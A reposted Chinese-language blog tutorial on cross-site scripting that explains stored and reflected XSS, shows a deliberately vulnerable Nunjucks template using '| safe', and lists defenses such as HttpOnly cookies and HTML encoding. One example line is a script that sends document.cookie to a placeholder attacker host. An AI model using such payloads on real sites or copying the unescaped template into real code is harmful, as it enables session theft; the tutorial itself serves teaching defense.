?

From：https://www.daguanren.cc/post/xss-introduction.html

?

?

XSS的背景與介紹

背景

隨著互聯網的發展，網站經歷由單純的只讀模式到web2.0興起的交互模式變遷，而正在向完美融合了人工智能的web3.0的道路發展。目前用戶訪問的大多數網站均有交互的功能，例如是電商網站的評論，微博網站的轉發，論壇的發帖等等。對于正常用戶而言，他們是遵守發帖和留言規范的，但對于黑客，他們是不會老老實實的按規矩辦事的。下面的GIF圖展示的是一個XSS攻擊的示意：

上圖先使用Chrome瀏覽器進行正常和非正常留言，Chrome瀏覽器自動檢測出XSS攻擊，屏蔽了請求。然后打開IE8，執行同樣的操作，IE8成功受到了攻擊。

XSS定義

跨站腳本（英語：Cross-site scripting，通常簡稱為：XSS）是一種網站應用程序的安全漏洞攻擊，是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上，其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。 XSS攻擊通常指的是通過利用網頁開發時留下的漏洞，通過巧妙的方法注入惡意指令代碼到網頁，使用戶加載并執行攻擊者惡意制造的網頁程序。這些惡意網頁程序通常是JavaScript，但實際上也可以包括Java，VBScript，ActiveX，Flash或者甚至是普通的HTML。攻擊成功后，攻擊者可能得到更高的權限（如執行一些操作）、私密網頁內容、會話和cookie等各種內容。

簡而言之，現在的網頁基本是由html+css+javascript組成，普通用戶輸入的留言是文本信息，而黑客輸入的留言內容則有可能是javascript代碼。

代碼解釋

以上GIF所展示的，是一個用戶將文本框的信息提交form表單到后臺，后臺反饋到前臺進行留言展示的場景。表單提交代碼如下：

<form role="form" method="post"><div class="form-group"><label>輸入內容</label><br /><textarea id="text" name="text"></textarea></label></div><button id="btn" type="submit" class="btn btn-default">提交</button> </form><label>展示內容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法，由后臺賦值text變量--> </div><script>$("#btn").click(function() {$.ajax({type: "POST",url: "/index",cache: false,data: {"text": $("#text").text()},success: function(msg) {}});}) </script>

前臺表單提交到后臺服務器，可以直接使用form表單提交，也可以使用ajax提交的方式。后臺代碼可以選擇任意語言實現（java、php或者nodejs等均可），這里使用的nodejs代碼，thinkjs3的框架，后臺代碼如下：

//index.js const Base = require('./base.js');module.exports = class extends Base {indexAction() {if(this.isGet) {//如果是Get請求，直接顯示前臺頁面return this.display();} else if(this.isPost) {//如果是Post請求，賦值nunjucks模板中的text變量，再進行頁面展示let post = this.post();this.assign("text", post.text);return this.display();}} };

這里只是一個比較輕微的彈出警告框的攻擊，但如果攻擊代碼是：

<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>

則會將用戶的cookie信息發送到黑客那里，而用戶的cookie信息中很可能含有用戶名和密碼等重要信息，后果不堪設想。

?

XSS分為：存儲型和反射型

• 存儲型XSS：存儲型XSS，持久化，代碼是存儲在服務器中的，如在個人信息或發表文章等地方，加入代碼，如果沒有過濾或過濾不嚴，那么這些代碼將儲存到服務器中，用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險，容易造成蠕蟲，盜竊cookie（雖然還有種DOM型XSS，但是也還是包括在存儲型XSS內）。
• 反射型XSS：非持久化，需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼（服務器中沒有這樣的頁面和內容），一般容易出現在搜索頁面。

?

?

當前防御 XSS 的幾種策略

瀏覽器端主動進行XSS識別

服務器端對于用戶輸入的內容進行過濾

使用較為安全的開發框架或模板

1、瀏覽器端主動進行XSS識別

如上述Chrome瀏覽器會自動識別XSS攻擊代碼，并進行請求的屏蔽

2、服務器端對于用戶輸入的內容進行過濾

a)將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了；

b)只允許用戶輸入我們希望的數據，進行數據格式校驗，例如年齡就只能輸入0-160的數字

c)對數據進行html encode處理，過濾或移除特殊的Html標簽， 例如:

&lt; 替代 <, &gt; 替代 >, &quot 替代 "

d)過濾JavaScript 事件的標簽。例如 "οnclick=", "onfocus" 等等。

3、使用較為安全的開發框架

上述代碼所使用的nunjucks模板中：

<label>展示內容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法，由后臺賦值text變量--> </div>

nunjucks默認所有值都會在視圖內自動轉義，以防止HTML注入和XSS攻擊。 但是，

| safe

這個語句是允許應用程序在視圖中注入HTML片段。所以才會被XSS攻擊

總結

XSS攻擊相比于CSRF攻擊，還是比較容易防范的，只要同時限制用戶輸入數據的格式和進行數據轉義，基本可以杜絕此類攻擊

參考資料

• 后端模板引擎Nunjucks
• Web安全漏洞簡介之XSS（一）
• Web安全測試之XSS
• Web如何防止XSS攻擊
• NodeJS國內優秀MVC框架ThinkJS
• 維基百科跨站腳本

本文鏈接：https://www.daguanren.cc/post/xss-introduction.html

?

?

總結

以上是生活随笔為你收集整理的WEB三大攻击之—XSS攻击与防护的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。